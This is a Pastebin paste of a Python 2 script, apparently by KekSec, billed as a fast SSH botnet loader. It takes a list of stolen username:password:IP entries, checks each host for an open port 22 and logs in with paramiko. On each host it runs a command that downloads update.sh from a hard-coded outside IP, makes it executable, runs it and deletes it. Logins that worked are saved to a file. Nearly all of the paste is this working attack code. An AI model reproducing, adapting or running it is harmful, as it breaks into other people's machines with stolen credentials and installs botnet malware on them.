Advertisement
KekSec

MILENKOS SSH LOADER - EXTREEEEMEEE SPEED :^}

Apr 21st, 2017
2,212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.18 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Phaaaat hax SSH loader by Milenko
  3.  
  4. import sys, re, os, paramiko, socket
  5. from threading import Thread
  6. from time import sleep
  7.  
  8. if len(sys.argv) < 2:
  9.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  10.  
  11. paramiko.util.log_to_file("/dev/null")
  12. rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  13. print "\033[31m"
  14.  
  15. print "S-S-SUUUPER fast SSH loader by Milenko"
  16. print
  17. #simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
  18. print "Reads user:pass:ip and simply checks the IP for port 22."
  19. print "Then writes loads the bonet onto it and saves the logins with SSH running to \"sshopen.txt\""
  20. print "It is VERY fast and extremely efficient."
  21. print "As it splits the file into equal chunks for each thread!"
  22.  
  23. threads = int(raw_input("Threads: "))
  24.  
  25. lines = open(sys.argv[1],"r").readlines()
  26.  
  27. fh = open("sshopen.txt","a+")
  28.  
  29. def chunkify(lst,n):
  30.     return [ lst[i::n] for i in xrange(n) ]
  31.  
  32. running = 0
  33.  
  34. loaded = 0
  35.  
  36. def printStatus():
  37.     while 1:
  38.         sleep(10)
  39.         print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
  40.         if loaded >= 1000:
  41.             print "Dayum u got sum phat hax brah :^}"
  42.  
  43. def haxit(username,password,ip):
  44.     try:
  45.         port = 22
  46.         ssh = paramiko.SSHClient()
  47.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  48.         ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  49.         ssh.exec_command(rekdevice) # KEK REKT
  50.         print "\033[32m[\033[31m+\033[32m] Command Sent: " + ip + "\033[37m"
  51.         sleep(10)
  52.         loaded += 1
  53.         ssh.close()
  54.     except:
  55.         pass
  56.  
  57. def check(chunk, fh):
  58.     global running
  59.     running += 1
  60.     threadID = running
  61.     for login in chunk:
  62.         login = login.replace("DUP ", "")
  63.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  64.         s.settimeout(3)
  65.         try:
  66.             s.connect((login.split(":")[2], 22))
  67.             s.close()
  68.             print "\033[32m[\033[31m+\033[32m] " + login + " has SSH open. Loading..."
  69.             haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
  70.             fh.write(login + "\r\n")
  71.             fh.flush()
  72.         except:
  73.             pass
  74.     print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)
  75.     running -= 1
  76.  
  77. lines = map(lambda s: s.strip(), lines) # remove all newlines
  78.  
  79. chunks = chunkify(lines, threads) # make seperate chunk for each thread
  80.  
  81. print "STARTING SCAN AND LOAD!!!"
  82.  
  83. Thread(target = printStatus, args = ()).start()
  84.  
  85. for thread in xrange(0,threads):
  86.     if thread >= 384:
  87.         sleep(0.2)
  88.     try:
  89.         Thread(target = check, args = (chunks[thread], fh,)).start()
  90.     except:
  91.         pass
  92. print "Scanning... Press enter 3 times to stop."
  93.  
  94. for i in range(0,3):
  95.     raw_input()
  96.  
  97. fh.close()
  98.  
  99. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement